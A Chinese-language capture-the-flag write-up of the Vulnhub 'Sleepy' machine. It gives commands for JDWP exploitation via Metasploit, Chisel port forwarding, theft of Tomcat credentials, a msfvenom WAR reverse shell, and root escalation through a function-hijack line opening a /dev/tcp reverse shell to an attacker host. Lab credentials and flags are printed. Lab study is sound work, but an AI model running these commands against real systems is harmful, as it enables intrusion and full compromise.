[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering
字数 1309 2025-08-19 12:40:55
JDWP+Tomcat漏洞利用与权限提升实战教学
1. 信息收集阶段
1.1 端口扫描
使用Nmap进行全端口扫描,发现以下开放服务:
nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn
扫描结果:
- 21/tcp: FTP服务 (vsFTPd 3.0.2)
- 允许匿名登录但无法列出目录
- 8009/tcp: AJP13协议 (Apache Jserv)
- 9001/tcp: JDWP服务 (Java Debug Wire Protocol)
1.2 服务识别
- FTP服务: 匿名登录尝试失败
- AJP13: Apache Tomcat连接器协议
- JDWP: Java调试协议,存在未授权访问风险
2. JDWP漏洞利用
2.1 手动验证JDWP服务
使用jdb工具连接JDWP服务:
jdb -attach 192.168.8.100:9001
> threads
> interrupt 1
2.2 使用Metasploit自动化利用
msfconsole
use exploit/multi/misc/java_jdwp_debugger
set RHOSTS 192.168.8.100
set RPORT 9001
set payload linux/x86/meterpreter/reverse_tcp
exploit
成功获取meterpreter会话后,检查网络连接:
meterpreter > netstat -ano
发现8080端口运行Tomcat服务但无法直接访问。
3. 端口转发与Tomcat访问
3.1 使用Chisel进行端口转发
在攻击机(Kali)启动Chisel服务器:
./chisel server -p 8000 --reverse
在目标机上传并运行Chisel客户端:
curl http://192.168.8.107/chisel -O chisel
chmod +x chisel
./chisel client 192.168.8.107:8000 R:8080:localhost:8080
3.2 访问Tomcat管理界面
通过本地转发访问:
http://127.0.0.1:8080/manager/html
3.3 获取Tomcat凭据
读取Tomcat用户配置文件:
cat /etc/tomcat/tomcat-users.xml
获取凭据:
- 用户名:
sl33py - 密码:
Gu3SSmYStR0NgPa$sw0rD!
4. 获取Tomcat Shell
4.1 生成恶意WAR包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.107 LPORT=10032 -f war > shell.war
4.2 设置监听
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST 192.168.8.107
set LPORT 10032
exploit
4.3 部署并访问WAR包
通过Tomcat管理界面上传shell.war,访问:
http://127.0.0.1:8080/shell/
获取第一个flag:
5a5946b264f0f12355ddc51693bbb255
5. 权限提升
5.1 查找SUID文件
find / -perm -4000 -type f 2>/dev/null
发现可疑文件/usr/bin/nightmare
5.2 分析nightmare程序
关键发现:
- 程序尝试打开
/dev/tty - 包含
fire函数 - 使用
aalib库(ASCII艺术库) - 关键系统调用:
setresuid(0, 0, 0); setresgid(0, 0, 0); system("/usr/bin/sl -al");
5.3 利用路径劫持
- 创建恶意函数替代
/usr/bin/sl:
function /usr/bin/sl () { /bin/bash >& /dev/tcp/192.168.8.107/10033 0>&1;}
export -f /usr/bin/sl
- 运行nightmare程序:
/usr/bin/nightmare
- 当程序退出时(ctrl+c),会自动调用被劫持的
/usr/bin/sl函数,获得root shell
5.4 获取root flag
92f64746d7cd155607533c778774b995
6. 关键知识点总结
-
JDWP漏洞利用:
- Java调试协议未授权访问
- 可通过jdb手动验证或使用Metasploit自动化利用
-
端口转发技术:
- 使用Chisel进行反向端口转发
- 解决内网服务不可达问题
-
Tomcat管理界面利用:
- 通过读取配置文件获取凭据
- WAR包部署获取反向shell
-
Linux权限提升技巧:
- SUID文件查找与分析
- 环境变量与函数劫持
- 利用程序中的系统调用进行提权
-
防御建议:
- 关闭不必要的Java调试服务
- 加强Tomcat配置文件权限
- 定期检查系统SUID文件
- 限制用户环境变量修改权限